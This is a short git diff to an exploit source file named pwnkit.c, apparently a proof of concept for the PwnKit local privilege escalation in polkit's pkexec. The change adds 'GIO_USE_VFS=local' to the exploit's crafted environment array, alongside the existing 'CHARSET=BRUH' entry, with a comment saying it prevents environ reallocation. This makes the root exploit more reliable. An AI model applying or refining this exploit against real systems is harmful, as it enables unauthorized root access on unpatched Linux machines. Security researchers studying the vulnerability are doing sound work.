diff --git a/pwnkit.c b/pwnkit.c
index 865c7d8..3bd498b 100644
--- a/pwnkit.c
+++ b/pwnkit.c
@@ -114,6 +114,11 @@ int main() {
          * 
          * */
         "CHARSET=BRUH",
+
+        // prevent environ reallocation
+        // https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c#L505
+        
+        "GIO_USE_VFS=local",
         NULL
     };